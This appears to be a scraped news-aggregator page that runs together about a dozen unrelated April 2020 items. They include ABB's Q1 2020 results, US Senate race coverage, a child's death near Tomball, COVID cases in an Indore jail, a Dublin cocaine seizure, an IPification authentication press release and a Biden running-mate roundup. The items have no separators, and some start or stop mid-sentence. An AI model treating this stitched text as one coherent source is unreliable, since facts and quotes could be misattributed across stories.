EPS ($) 0.18 0.25 -30%2 Operational EPS ($)1 0.30 0.30 -2%2 -1%2 Cash flow from operating activities4 (577) (256) -125% On December 17, 2018, ABB announced an agreed sale of its Power Grids business. Consequently, the results of the Power Grids business are presented as discontinued operations. Summary Against the backdrop of COVID-19, orders for the first quarter remained robust, with Motion and Industrial Automation both benefiting from strong large orders. However, revenues declined in all businesses, reflecting a drop in product demand due to the pandemic, at first in China, and then across other parts of the world, with mobility restrictions also constraining system installation and services activities. These developments, in turn, weighed on operating margins in all businesses, reflecting that certain costs remain essential for business continuity. Orders Orders were 4 percent lower (up 1 percent comparable) in the quarter compared to the prior year period. Foreign exchange translation effects had a net negative impact of 3 percent and portfolio changes a net negative impact of 2 percent. The order backlog was 1 percent lower (up 8 percent comparable) at the end of the quarter. Regional overview Orders from Europe were 1 percent higher (5 percent comparable), supported by large orders. At the country level, performance was mixed. Sweden, Norway, the Netherlands and the UK were strong, but in Germany, Switzerland, Italy and Spain, where COVID-19 impacted earlier, orders declined when compared to the prior year period. In Germany, orders were 7 percent lower (4 percent comparable). Orders from the Americas were steady (up 2 percent comparable), reflecting the later onset of COVID-19 in the region. Orders from the United States were 2 percent higher (up 2 percent comparable). In Asia, Middle East and Africa (AMEA), orders were 12 percent lower (7 percent comparable). Orders from India, South Korea, Thailand and Indonesia advanced well while orders from Australia, Singapore and Japan fell back. In China, where the impacts of COVID-19 materialized first, orders declined 21 percent (16 percent comparable). End-market overview In discrete industries, orders were disrupted in most end-markets, while orders from automotive and automotive-sector related industries were materially lower. In process industries, ABB saw solid demand from customers in the mining and pulp & paper segments. Unconventional oil & gas and conventional power generation remained challenged. In transport & infrastructure, investments were robust, with strong growth in ports, rail and water & wastewater, as well as good order growth in distribution utilities. Buildings market activity eased as construction companies faced increased constraints to activities from quarantine efforts. Revenues Revenues were 9 percent lower (7 percent comparable) year-on-year. Foreign exchange translation effects had a net negative impact of 1 percent and portfolio changes a net negative impact of 1 percent. The book-to-bill ratio for the quarter was 1.18x1, compared to 1.11x in the prior year period. Income from operations and operational EBITA Income from operations of $373 million declined 37 percent. The result includes a combined $263 million of non-operational items, including $65 million acquisition-related amortization, a net $80 million loss related to timing differences on commodities and foreign exchange, restructuring charges for the ABB-OS simplification program, as well as transaction and separation costs related to the carve-out of Power Grids and the Solar inverters business. Operational EBITA1 of $636 million was 17 percent lower (16 percent in local currencies). The operational EBITA margin1 of 10.2 percent was 100 basis points lower year-on-year. All businesses reported lower margins compared to the prior year period, partly offset by improved Corporate and Other, mainly due to lower non-core and stranded costs. Stranded costs of $21 million were reflected in Corporate and Other. Net income and basic earnings per share Net income from continuing operations was $326 million, 21 percent lower year-on-year. Net income from discontinued operations of $54 million was lower, with the business impacted by the transfer of stranded costs, ongoing restructuring costs and net losses related to timing differences on commodities and foreign exchange. Group net income attributable to ABB was $376 million and basic EPS $0.18, both 30 percent2 lower year-on-year. The group's effective tax rate was 19.5 percent and includes the positive effects from resolving certain estimated tax contingencies. Operational EPS of $0.301 was 2 percent2 lower compared to the prior year period. Cash flow from operating activities Cash flow from operating activities declined to -$577 million, compared to -$256 million in the first quarter of 2019, including $22 million lower cash flow from operating activities from discontinued operations relative to a year ago. Cash flow from continuing operating activities was impacted versus the prior year period mainly by timing differences on employee incentive payments, which were distributed in the first quarter this year as opposed to the second quarter last year, as well as by lower income from operations and less favorable timing of tax payments. This was partly offset by improvements in working capital management, including better harmonization of payment terms for trade payables. Net working capital as a percent of revenues was 12.3 percent at quarter end. Q1 2020 Business results Electrification (EL) KEY FIGURES CHANGE - Subdued short-cycle industrial demand and slowing buildings demand drove orders lower, while select markets including distribution utilities and infrastructure proved resilient. By region, in comparable terms, orders were slightly up in Europe, subdued in the Americas and challenged in AMEA, particularly China. - Revenues were lower due to curtailed project activities and lower product sales arising from production outages, mainly in Asia. - Margins were held back by lower volumes and weak performance in solar. This was partly mitigated by improving performance in Installation Products and cost initiatives. ($ millions, unless otherwise indicated) Q1 2020 Q1 2019 US$ Comparable Orders 3,121 3,363 -7% -2% Order backlog 4,386 4,394 0% +9% Revenues 2,773 3,057 -9% -7% Operational EBITA1 318 377 -16% as % of operational revenues 11.4% 12.4% -1.0 pts Industrial Automation (IA) KEY FIGURES CHANGE - IA's strong order development was driven by large orders awarded in the mining, pulp and paper and ports segments. Conventional power generation remained challenged while oil & gas, particularly unconventional, slowed. Orders were up in all regions, led by Europe. - Comparable revenue development reflects ongoing challenges to book-and-bill activities and increasingly curtailed project installation and service activities. - Margins moved lower due to unfavorable business mix, project execution delays and mobility constrained service activities. ($ millions, unless otherwise indicated) Q1 2020 Q1 2019 US$ Comparable Orders 1,757 1,666 +5% +8% Order backlog 5,183 5,139 +1% +6% Revenues 1,462 1,518 -4% -1% Operational EBITA1 144 205 -30% as % of operational revenues 9.7% 13.5% -3.8 pts Motion (MO) KEY FIGURES CHANGE - Strong long-cycle order growth was led by large orders in rail and for water applications. In addition, the business also won orders from new OEM customers and saw a strong end of the quarter in China. These positives outpaced a broad-based deterioration in short-cycle demand, particularly for drives. Order growth was led by Europe and AMEA, while the Americas were steady. - Revenues reflect lower book-and-bill and postponement of deliveries where customer sites closed. - Margin contraction was driven by lower volumes and incremental logistics costs, partly offset by cost mitigation. ($ millions, unless otherwise indicated) Q1 2020 Q1 2019 US$ Comparable Orders 1,901 1,800 +6% +8% Order backlog 3,259 2,942 +11% +15% Revenues 1,510 1,605 -6% -4% Operational EBITA1 230 263 -13% as % of operational revenues 15.3% 16.4% -1.1 pts Robotics & Discrete Automation (RA) KEY FIGURES CHANGE - Order developments for robotics reflect continued deterioration in the automotive and related industries plus weakening in general industries and 3C demand. Machine automation recorded strong growth, benefiting from prior design wins and customer stockpiling. - Growth was strong in the Americas, however orders were weak in Europe, and challenged in AMEA. - Revenues were impacted by lower demand, particularly for systems business and service activities, exacerbated in China because of COVID-19 lockdowns. - Margin contraction reflects mainly lower volumes, partly mitigated by cost savings. ($ millions, unless otherwise indicated) Q1 2020 Q1 2019 US$ Comparable Orders 811 967 -16% -14% Order backlog 1,454 1,556 -7% -2% Revenues 671 851 -21% -19% Operational EBITA1 59 95 -38% as % of operational revenues 8.8% 11.2% -2.4 pts Corporate and Other KEY FIGURES CHANGE - Corporate and Other operational EBITA improved to -$115 million. Compared to a year ago this reflects lower stranded and non-core costs and lower ongoing corporate costs, partly offset by the absence of gains that benefited the result in the first quarter of 2019. - In the first quarter of 2020, stranded costs of $21 million were recognized, impacting operational EBITA by 30 basis points. ($ millions, unless otherwise indicated) Q1 2020 Q1 2019 US$ Orders (244) (183) +61 Revenues (200) (184) +16 Income from operations (173) (230) (57) Operational EBITA1 (115) (174) (59) Corporate and Other orders and revenues primarily represent intersegment eliminations. COVID-19 response ABB's primary focus is on securing the health and safety of our employees while maintaining business continuity. ABB is constantly monitoring the evolving situation and taking all necessary precautions, in line with local government and WHO guidelines. With the COVID-19 pandemic ongoing, ABB is working constantly with customers and partners to maintain the supply of goods and services. As part of this response, ABB is maximizing use of remote service tools and ABB Ability digital solutions, including free remote services. The majority of ABB's production facilities remain fully or partly operational at this time, with some disruption being experienced at production and service sites in specific countries. Where possible the company is adjusting resources to meet the anticipated slow-down in demand and eliminating non-essential costs. The Board of Directors and the Executive Committee of ABB are voluntarily taking a 10 percent reduction in board compensation and salary for the duration of the crisis. In addition, ABB will contribute CHF 1 million to the International Committee of the Red Cross (ICRC) COVID-19 effort. The company and its employees are helping communities, for example by using ABB's resources to deliver protective equipment to hospitals and frontline workers in some of the most badly affected countries, such as China and Italy, as well as through equipment donations and fundraising efforts. Transformation progress In preparation for its divestment, Power Grids is fully operational on a stand-alone basis. ABB has eliminated the majority of the ~$290 million annual stranded costs that resulted when Power Grids was deconsolidated. ABB aims to resolve any remaining dis-synergies from the carve-out through the ABB-OS simplification program. The divestment is targeted for completion at the end of the second quarter, as planned, and ABB remains committed to a share buyback program using net cash proceeds from the transaction. ABB is planning to execute this in an efficient and responsible way, taking account of the prevailing circumstances. Decentralization and the refinement of ABB's operating model through ABB-OS is continuing, enabling the businesses to act quickly to respond to the circumstances around COVID-19 while working towards delivering the cost savings for the Group as planned. During the quarter, the Electrification business completed the divestment of the solar inverters activities to FIMER SpA on February 29, 2020. On March 17, 2020, ABB Electrification completed the acquisition of a majority stake in Chargedot Shanghai New Energy Technology Co., Ltd. The purchase expands ABB's relationship with leading electric vehicle manufacturers in China and broadens its offering with hardware and software developed specifically for local requirements. Further, ABB Electrification acquired Cylon Controls Ltd, on March 3, 2020, enhancing its Smart Buildings portfolio in the commercial buildings segment. Short-term outlook The global economy is expected to contract in 2020 after a rapid deterioration in outlook driven by the COVID-19 pandemic. Despite unprecedented stimuli by governments and central banks around the world and initial signs of recovering economic activity in China, macro-indicators point to a global recession of uncertain duration, as many countries, including the United States, continue to face restrictions with anticipated long-term economic consequences. The impact of COVID-19, as well as the fall in oil prices, has significantly impacted the short-term outlook in specific end markets such as oil and gas, conventional power generation, automotive and marine. Some end markets such as distribution utilities, data centers, logistics and rail continue to show relative resilience. ABB is not currently providing guidance for full year 2020. ABB expects its results to be significantly impacted in the second quarter. Orders and revenues are expected to show material sequential decline in all businesses, with Robotics & Discrete Automation expected to decline by more than 30 percent year-on-year. While the company is taking prompt action to adapt its operations and cost base to safeguard profitability, it also expects the loss of volume to further dampen margins. Despite short-term disruptions, ABB is confident in the underlying resilience of its businesses and operating model. The company has a strong balance sheet and is confident that its liquidity needs will be well covered. More information The Q1 2020 results press release and presentation slides are available on the ABB News Center at www.abb.com/news and on the Investor Relations homepage at www.abb.com/investorrelations. A conference call and webcast for analysts and investors is scheduled to begin today at 10:00 a.m. CEST (9:00 a.m. BST). To pre-register for the conference call or to join the webcast, please refer to the ABB website: www.abb.com/investorrelations. The recorded session will be available after the event on ABB's website. ABB (ABBN: SIX Swiss Ex) is a technology leader that is driving the digital transformation of industries. With a history of innovation spanning more than 130 years, ABB has four, customer-focused, globally leading businesses: Electrification, Industrial Automation, Motion, and Robotics & Discrete Automation, supported by the ABB Ability digital platform. ABB's Power Grids business will be divested to Hitachi (News - Alert) in 2020. ABB operates in more than 100 countries with about 144,000 employees. INVESTOR CALENDAR CEO first perspectives (webcast) June 10, 2020 Q2 2020 results July 22, 2020 Important notice about forward-looking information This press release includes forward-looking information and statements as well as other statements concerning the outlook for our business, including those in the sections of this release titled "COVID-19 response", "Transformation progress" and "Short-term outlook". These statements are based on current expectations, estimates and projections about the factors that may affect our future performance, including global economic conditions, the economic conditions of the regions and industries that are major markets for ABB. These expectations, estimates and projections are generally identifiable by statements containing words such as "anticipates", "expects," "believes," "estimates," "plans", "targets" or similar expressions. However, there are many risks and uncertainties, many of which are beyond our control, that could cause our actual results to differ materially from the forward-looking information and statements made in this press release and which could affect our ability to achieve any or all of our stated targets. The important factors that could cause such differences include, among others, business risks associated with the volatile global economic environment and political conditions, costs associated with compliance activities, market acceptance of new products and services, changes in governmental regulations and currency exchange rates and such other factors as may be discussed from time to time in ABB Ltd's filings with the U.S. Securities and Exchange Commission, including its Annual Reports on Form 20-F. Although ABB Ltd believes that its expectations reflected in any such forward-looking statement are based upon reasonable assumptions, it can give no assurance that those expectations will be achieved. Zurich, April 28, 2020 Bjorn Rosengren, CEO __________ 1 For a reconciliation of non-GAAP measures, see "supplemental reconciliations and definitions" in the attached Q1 2020 Financial Information. 2 EPS growth rates are computed using unrounded amounts. Comparable operational earnings per share is in constant currency (2019 exchange rates not adjusted for changes in the business portfolio). 3 Constant currency (not adjusted for portfolio changes). 4 Amount represents total for both continuing and discontinued operations. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005920/en/ [ Back To TMCnet.com's Homepage ] WASHINGTON Steve Bullock was the lame-duck governor of solidly red Montana, fresh off a failed Democratic presidential bid, when he announced hed challenge Republican Sen. Steve Daines for his seat. Days after declaring his candidacy last month, Montanas first coronavirus cases appeared. That shifted the spotlight onto Bullock as he leads the states pandemic response, leaving Daines in the unusual position of a sitting senator competing for attention. I look forward to when I can spend more time thinking about the campaign and doing that work, Bullock said last week. Right now, he said, hes making sure lives are being saved. The coronavirus, the resulting economic shutdown and President Donald Trumps stumbles addressing the crises have abruptly scrambled this falls battle for Senate control. Democrats have rising hopes of gaining the minimum three seats theyll need to capture a majority, while Republicans who once banked on a robust economy and improving Trump approval ratings are showing signs of nervousness. Old GOP assumptions about the political climate are totally upside-down, said GOP pollster Neil Newhouse. Republicans have to be prepared for an all-out battle, and its going to be a challenge. Although much can change by Election Day, favorable signs for Democrats are evident. Self-described democratic socialist Sen. Bernie Sanders, I-Vt., ceded the Democratic presidential nomination to former Vice President Joe Biden, a relief to moderate Democratic candidates everywhere. Democrats outraised Republicans in nine of 12 higher-profile Senate races in this years first quarter. Besides Bullock outperforming Daines, Democratic challengers raised more than GOP Sens. Martha McSally of Arizona, Cory Gardner of Colorado, Susan Collins of Maine and Thom Tillis of North Carolina. Even Senate Majority Leader Mitch McConnell of Kentucky and South Carolina Sen. Lindsey Graham raised less than long shot Democratic opponents. Underscoring the direction the political arrow now points, two major GOP committees reserved $100 million for autumn ads in eight states. The spending by the National Republican Senatorial Committee and Senate Leadership Fund is entirely for defending GOP incumbents except in Michigan, where Democratic Sen. Gary Peters faces well-funded GOP businessman John James. The Senate Democratic campaign committee went on offense, reserving $31 million for spots challenging GOP incumbents McSally, Daines, Tillis and Iowas Joni Ernst. Polls this month indicate the potential peril for GOP candidates. Fewer than 1 in 4 surveyed said they highly trust Trumps characterizations of the outbreak, an Associated Press-NORC Center for Public Affairs Research survey showed. Trumps favorable rating tumbled to 43% in a mid-April Gallup poll, down from 49% two weeks earlier. A recent Republican National Committee survey of 17 battleground states showed Trumps support eroding since the virus outbreak, a warning for GOP Senate candidates. The Republican senatorial committee sent candidates a 57-page memo by strategic communications firm ODonnell & Associates, urging them to blame China for the pandemic and advising, Dont defend Trump, other than the China Travel Ban attack China. More and more are signs the voters are looking for change, theyre looking for greater stability, said J.B. Poersch, who runs the Senate Majority PAC, an outside ally to Democratic leadership. Illustrating one Republicans approach to Trump, Collins said his speculation about the virus is not helpful. Trump mused the next day about injecting disinfectants as a treatment, which doctors warned could kill. Asked about Trump, Collins noted she didnt back him in 2016. Ill work with whomever is elected president, she said during an Instagram live event hosted by Colby College. Happily for Republicans, their candidates have accumulated more cash than their Democratic challengers in most of the Senates closest races. Indications the economys revival may drag mean fundraising could be tough all year, helping those already boasting formidable bank accounts. Both sides advisers say stay-at-home orders shackling most Americans movements generally disadvantage challengers, ominously for Democrats who must oust more incumbents to prevail. Indefinitely eliminated are attention-grabbing public events and big-dollar fundraisers, forcing a reliance on virtual town halls and money-raising events. All you can do is hold a Zoom meeting your supporters show up at and a few bored reporters, Steven Law, who runs Republicans Senate Leadership Fund, said of challengers. Republicans control the Senate 53-47 but are defending 23 of the 35 contested seats. Yet all but two GOP-held seats at stake, Colorado and Maine, are from states Trump won in 2016, mostly easily. Even so, Republican seats in Georgia and Kansas are plausible Democratic targets. Sen. Doug Jones of solidly Republican Alabama is Democrats most endangered incumbent yet has banked a formidable $15 million. He narrowly won a 2017 special election against Republican Roy Moore, who faced accusations of sexually harassing teenagers decades ago when he was a prosecutor, which he denied. In Arizona, McSally has blamed China for covering up and not containing the disease. Gun control advocate and former astronaut Mark Kelly, her Democratic challenger, has faulted Republicans for trying to repeal former President Barack Obamas health care law, arguing the virus makes its protections crucial. In Maine, Collins already faced a difficult reelection following her 2018 support for Brett Kavanaugh, Trumps controersial Supreme Court pick. Shes mixed generally positive ads thanking local employers like L.L. Bean for producing protective masks with occasional slaps at Democratic challenger Sara Gideon, the Maine House speaker. One spot by the Democratic-allied Majority Forward denounced Collins for saying Trump initially did a lot that was right. A Collins ad called Gideon allies shameless for politicizing the worst health and economic crisis in a century. Daines is reaching Montana voters with telephone town halls and Facebook chats. Im focused on ensuring the voice of Montana is heard in federal policy, he said. While in the spotlight as governor, Bullocks been pressured by the Trump administration and Daines to ease his statewide stay-at-home order. Bullock let some curbs lapse this week, citing health care and economic realities, not politics. ___ Volz reported from Helena, Montana. Associated Press reporters David Sharp in Portland, Maine, Jonathan J. Cooper in Phoenix and Zeke Miller in Washington contributed to this report. Google Maps A 4-year-old boy died after he climbed into his familys car without anyone noticing Friday near Tomball. The boy was at his home in the 12800 block of Mimosa Spring Drive when he walked out of the house without supervision around 3:30 p.m., according to the Harris County Sheriffs Office. No one inside the home noticed he was gone for some time, which is when they checked the car, police said. Lisa Snowdon has had to cancel her wedding due to the coronavirus pandemic. The This Morning presenter, 48, admitted she was heartbroken she can no longer tie the knot to fiance George Smart in Japan later in the year. Talking to New Magazine, Lisa also spoke about her 'frightening' battle with the virus, which left her housebound for nearly a month. It's off! Lisa Snowdon has had to cancel her wedding due to the coronavirus pandemic Lisa and George, 40, had been planning on flying to Japan for their wedding ceremony, more than three years after getting engaged. 'It is heartbreaking having to cancel our wedding and wed hoped wed get married in Japan, but now George and I are going with the flow,' she said. 'We dont even really discuss it and we are going to leave it until next year, theres no point in planning anything and everything has been put on hold.' Devastated: The This Morning presenter, 48, admitted she was heartbroken she can no longer tie the knot to fiance George Smart in Japan later in the year Lisa added the couple feel like they are already married so don't feel in any kind of hurry. Lisa and entrepreneur George have known each other for 15 years, and decided to rekindled their romance in 2015 after briefly dating in the past. George popped the question in December 2016 after 14 months of dating. The model also shared an update on her health after revealing both she and George were experiencing coronavirus-like symptoms last month. Lisa said: 'I feel so grateful to be out of bed and just to be able to breathe properly. The pain was so bad in my lungs, I literally felt like someone was sitting on my chest.' The star said she first thought she was experience menopausal sweats but soon began shivering uncontrollably. After experiencing a fever, Lisa said by day eight her 'lungs felt like lead and I was struggling to breathe'. The star described it a 'frightening' time and said her symptoms got so bad she wasn't able to leave the house for 25 days. Authorities suspect that the infection spread in the jail from a 58-year-old prisoner, who tested positive for COVID-19 on 14 April after his arrest. Indore: Nine more prisoners lodged at the Central Jail in Madhya Pradesh's Indore city have tested positive for coronavirus, an official said on Tuesday. With this, the total number of those who contracted the infection in the jail in last 14 days has gone up to 19, including 17 prisoners and two jail guards, prison superintendent Rakesh Kumar Bhangre said. "Out of the 124 prisoners, who were already kept at a temporary jail located far from the Central Jail campus after they showed symptoms similar to coronavirus, nine have tested positive for the disease," he said. Prior to this, eight prisoners and two jail guards tested positive for the infection in the last fortnight, the official said. Follow LIVE updates on coronavirus outbreak Authorities suspect that the infection spread in the jail from a 58-year-old prisoner, who tested positive for COVID-19 on 14 April after his arrest, the official said. The prisoner and his 25-year-old son allegedly hurled stones at a policeman in Indore;s Chandan Nagar locality on 7 April. The son was booked under the National Security Act (NSA) and sent to the Jabalpur central jail where he tested positive for coronavirus on 11 April, Bhangre said. On getting information about his son, the 58-year-old prisoner was immediately admitted to a hospital in Indore where his test report came out positive for coronavirus on 14 April, he added. Nearly 2,050 prisoners are lodged in the Indore central jail as against its capacity of 1,230, another prison official said. "We are screening all the prisoners daily. Those having flu-like symptoms or fever are being quarantined," he added. Peyton Maguire from Bellshill tested positive for coronavirus earlier this month The newborn was allowed to leave hospital last week after two negative tests Mum Tracey teared up on Good Morning Britain after a surprise from NHS staff Heres how to help people impacted by Covid-19 The mother of three-week-old girl who is believed to be the youngest person in Britain to recover from coronavirus was left in tears after being surprised by the 'hero' NHS staff who treated her daughter. Peyton Maguire, Bellshill, North Lanarkshire, was delivered by C-section at University Hospital Wishaw eight weeks early and weighing just 3lbs 5oz, after her mother Tracy was diagnosed with pre-eclampsia. ADVERTISEMENT After being cared for in an incubator in the neonatal unit, Peyton tested positive for coronavirus in April - despite not having any symptoms, However last week after two negative tests, Peyton was able to go home with parents Tracey, 27, and AJ, 28. Appearing on Good Morning Britain today, the family were given a message from the staff who saved her baby's life, who told her it was a pleasure' to look after them, and that they couldn't wait to meet baby Peyton after lock-down. Appearing on GMB today, the parents of three-week-old Peyton Maguire (pictured), Bellshill, North Lanarkshire, spoke of their daughter's coronavirus diagnosis Mother Tracey was left in tears after being surprised by the 'hero' NHS staff who treated her daughter. Pictured left, consultant neonatologist Dr. Caroline Delahunty Speaking of her diagnosis, dad AJ said: 'Tracey was crying. They confirmed she had coronavirus and it was mind numbing. It was a very dark time, but she's absolutely fine now.' He went on: [The NHS] 'They're the real soldiers, they always have been. People are just realising it. Click here to resize this module 'They have to go and risk their lives and their families and I cannot thank the medics enough, they're the real heroes in the world. There's nothing, there is no gift that can repay what they've done.' Tracey became emotional as host Lorraine Kelly announced that community midwife Sandra Coombes, Dr. Caroline Delahunty and nurse Laura Lang had a message for her and her family. Peyton was born eight weeks premature, weighing just 3lbs 5oz and was delivered by C-section at University Hospital Wishaw after mother Tracy was diagnosed with pre-eclampsia Sandra said: 'It's lovely to know you're home and well, it was absolute pleasure looking after you. I can't wait to meet wee baby Payton when we're all well and good again.' As Tracey was left wiping away her tears, Dr. Caroline added: 'Tracey, AJ and Peyton, it's just to say we're all thinking of you these are difficult challenging times. 'Treasure each moment you have with Peyton and remain positive and thank you very much for all the feedback we've received from you.' ADVERTISEMENT Nurse Laura added she was 'so pleased' the family had managed to recover. Peyton was first diagnosed after being tested for a range of viruses when she developed a sniffle, and Tracey told she was completely overwhelmed after being told of the diagnosis. Tracey became emotional as host Lorraine Kelly announced that she would be surprised by the staff who saved her daughter's life Community midwife Sandra Coombes (pictured) said it was 'waan 'When I heard Peyton had coronavirus I was sobbing, said Tracey, 'And really worried about how it could affect her respiratory system, her lungs and if it was life-threatening. 'She'd had a sniffle, which is why they'd tested her for a range of viruses including Covid-19. 'We were told we'd have to stay away from Peyton for 14 days and isolate at home, but I pleaded not to be apart from my baby for that long. Peyton was first diagnosed after being tested for a range of virus when she developed a sniffle, and Tracey told she was completely overwhelmed after being told of the diagnosis. The family are pictured following Peyton's recovery 'The staff kindly agreed I could to isolate with her in the hospital while AJ stayed at home.' She added: 'Watching the staff at work was incredible.They put their lives at risk to make sure my baby was getting fed and cuddled. Even wearing their PPE, they were determined to hold her. ADVERTISEMENT 'Peyton is the most precious person in the world to me and it shows the trust I had in the midwives and the other staff that I put her care in their hands - because that is that they are trained to do.' Two truck drivers have been charged after gardai intercepted an alleged "handover" of 2.5m worth of cocaine in a garage car park in north Co Dublin at the weekend. Charlie Coyle (58) and Dmitrijs Venskovics (44) both appeared before Dublin District Court yesterday on drugs charges following the seizure. Judge Gerard Jones adjourned their cases to Friday after hearing Mr Venskovics allegedly drove a truck from which cocaine was handed over to a lorry driven by Mr Coyle. Mr Coyle, of Cootehill, Co Cavan, was granted bail subject to a 25,000 surety, while Mr Venskovics, with an address in Neretas Novads, Latvia, deferred a bail application. They are both charged with possession of cocaine with intent to sell or supply at Blake's Cross, Dublin, on Saturday. Mr Venskovics was not making any bail application yet but would on his next court date, his solicitor Michael French said. Det Gda Redmond O'Leary said it was alleged Mr Venskovics was the driver of a truck observed by members of the Garda National Drugs and Organised Crime Bureau. There was a "handover" to a second truck which was stopped and a large quantity of drugs found in it, Det Gda O'Leary said. Objecting to Mr Coyle's bail, Det Gda Michael Ormond said it was alleged he drove the second truck and took possession of the cocaine before leaving the scene. Mr Coyle was an "innocent man", was entitled to bail and although he was living in Northern Ireland, he could reside at the family home address in Cavan, his solicitor Fiona D'Arcy said, applying for bail. Det Gda Ormond said Mr Coyle's behaviour had been "perfectly fine" since he was arrested. Judge Jones said the allegation was that the accused was "effectively caught red-handed". He granted Mr Coyle bail in his own bond of 100 but with a 25,000 independent surety, to be approved by the court. Under conditions, he is to sign on three times weekly at Carrickmacross garda station. The court heard his passport was lost and if it is found, it is to be surrendered to gardai. If not, it is to be cancelled. Gardai have said a third man arrested has been released without charge, with a file being prepared for the Director of Public Prosecutions. TORONTO - Raymond James Ltd. has acquired Oak Trust Co., a privately held trust company based in London, Ont. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. TORONTO - Raymond James Ltd. has acquired Oak Trust Co., a privately held trust company based in London, Ont. Financial terms of the deal by the Canadian arm of investment dealer Raymond James Financial Inc. were not disclosed. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Founded in 2004, Oak Trust is federally regulated. It offers trust administration, estate settlement and wealth management services. The sale came as Chris Scarff, Oak Trust's president, chief executive and co-founder, announced his retirement. Raymond James says the deal, which has been given regulatory approval, will make it the first non-bank owned full-service investment dealer in Canada to offer integrated fiduciary trust services. The new division will be named Raymond James Trust (Canada), pending regulatory approval. This report by The Canadian Press was first published April 28, 2020. Note to readers: This is a corrected story. An earlier version said the deal was pending regulatory approval. [April 28, 2020] IPification Secure Mobile Authentication Now Available to Microsoft Azure Active Directory B2C Customers Benefit Vantage Limited, developer of the IPification seamless authentication solution, is proud to announce that we will enable global service providers to enhance user authentication and verification when using the Microsoft (News - Alert) Azure Active Directory B2C cloud identity platform. Azure Active Directory B2C enables organizations to manage and secure customer, consumer and citizen access to web and mobile applications, enabling service providers to add and customize user identity services for registration and login purposes to their apps. Integratng IPification technology into Azure Active Directory B2C enables service providers to offer the benefits of a secure, bank-grade mobile authentication solution to their users, enabling frictionless user experience during identity verification without using or sharing sensitive user data. In addition, services can build mobile data signals into their business logic to, for example, help mitigate against fraud or remove barriers to service access. "I am proud that Microsoft has recognized the value that IPification technology can bring to their cloud identity platform, Microsoft Azure Active Directory B2C. Our teams worked together to make this a reality and I am happy that organizations relying on Azure identity services can now enjoy the benefits of seamless mobile authentication our solution provides," said Harry Cheung, Founder and President of IPification. "Passwords are no longer an effective security mechanism. It's clear we need to provide our customers with authentication options that are secure and easy to use. This is where passwordless authentication comes in," said Sue Bohn, Partner Director of Program Management, Microsoft Identity Division, Microsoft Corp. "We are pleased to see companies like IPification support our passwordless journey by integrating their solutions with Microsoft Azure Active Directory." IPification is rolling out the service to service providers across four continents, with initial service launches planned for Hong Kong and across the Europe and APAC regions. --- Ends --- About Benefit Vantage Limited & IPification Benefit Vantage Limited (BVL) is a leading provider of cybersecurity and data backup solutions globally. BVL and its group of companies are incorporated in Switzerland, Serbia and Hong Kong, where they represent big brands like F-Secure (News - Alert) and Acronis and develop its own solutions. BVL's flagship product is IPification, based on close partnerships with mobile operators to offer seamless authentication and fraud protection against device change and SIM swap attacks. IPification enables mobile applications and service providers to offer their users authentication that is secure, protects their privacy, and enables a smooth user experience. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005399/en/ [ Back To TMCnet.com's Homepage ] But: For some on the left, Ms. Warrens refusal to endorse Mr. Sanders blunted her appeal. Ms. Warren also faces a unique problem, as Kevin Robillard reports for HuffPost: Shes the only potential pick whose temporary replacement in the Senate would be appointed by a Republican governor. Theoretically, Ms. Warren might be able to prevent her replacement from serving more than a few months, but only by resigning from the Senate before the Massachusetts primary in September. Amy Klobuchar Senator Klobuchar of Minnesota is a good choice if Mr. Biden wants to amplify, rather than broaden, his core message, according to The Washington Posts David Byler. The ideological gulf between Ms. Warren and Mr. Biden risks exposing old tensions between the two, but a Biden-Klobuchar ticket would let Biden be Biden. And after 13 years in the Senate, Ms. Klobuchar has cemented a reputation as a productive and pragmatic legislator who can win over Midwestern swing voters. But: During her presidential campaign, Ms. Klobuchar fared dismally with black voters, which would make her a reckless choice, according to Aimee Allison, founder of She the People. Like Ms. Harris, Ms. Klobuchar has drawn criticism for her prosecutorial record, but her reputation as a stalwart centrist and dehumanizing boss may make her even less palatable to the left. And while Minnesotas governor would almost certainly appoint a Democrat to fill Ms. Klobuchars Senate seat until a special election in 2022, theres no guarantee her replacement would be as adept at fending off Republican challengers. [Agree to disagree, or disagree better? Broaden your perspective with sharp arguments on the most pressing issues of the week.] Gretchen Whitmer If Mr. Biden wants another Midwestern moderate without the senatorial baggage, he could choose Michigans new governor, whose public sparring with the president over the federal response to the pandemic catapulted her to national prominence. Mr. Trump may not have known Ms. Whitmers name until a few weeks ago, but what Trump surely does know is that when he won Michigan in 2016, it was by the closest margin of any state in the country, as Karen Tumulty writes in The Washington Post. But: Ms. Whitmer has spent less than two years in high office, as Ella Nilsen points out in Vox. And as for the idea that she would automatically deliver Michigan to Mr. Biden? There actually isnt much data to support the prevailing myth that vice-presidential picks confer a home state advantage. That could hurt Ms. Whitmers chances especially if, as Matthew Walther argues in The Week, her disputes with the president over the coronavirus crisis turn out to have obscured her own mishandling of it. Catherine Cortez Masto Senator Cortez Masto of Nevada has been floated as a potential solution to Mr. Bidens lackluster performance with Latino voters, according to Gary Martin in The Las Vegas Review-Journal. As a former Nevada attorney general and the first Latina elected to the Senate, she might be able to boost Mr. Bidens numbers not only in Nevada, which he lost badly to Mr. Sanders, but also in other swing states like Arizona and Florida. The Hispanic community has never found itself on the ticket, Jose Dante Parra, the chief executive director of Prospero Latino, told Mr. Martin. It would be a big shot in the arm for Biden. As people around the world continue to applaud healthcare and essential workers on the front lines of the coronavirus fight, the US Air Forces Demonstration Squadron, the Thunderbirds, and the US Navy Flight Demonstration Squadron, the Blue Angels, will be joining in. On Tuesday, the Thunderbirds and the Blue Angels will honour healthcare professionals and essential workers with formation flights over New York City, Newark, Trenton and Philadelphia, according to the US Navy. We are truly excited to take to the skies with our Navy counterparts for a nation-wide tribute to the men and women keeping our communities safe, US Air Force Lt Col John Caldwell, Thunderbird 1 and mission commander for the flyover said. We hope to give Americans a touching display of American resolve that honours those serving on the frontline of our fight with Covid-19. Ahead of the tribute, Cmdr Brian Kesselring, US Navy Blue Angels commanding officer and flight leader said the Navy is honoured to have the opportunity to pay tribute to healthcare workers, first responders, military, and other essential personnel. We are incredibly honoured to have the opportunity to salute those working on the frontline of the Covid-19 response, we are in awe of your strength and resilience, he said. Thank you to all of those in essential industries keeping our nation moving forward. We will get through this. We are all in this together. This is what you need to know about catching the tribute. According to the US Navy, the flyovers 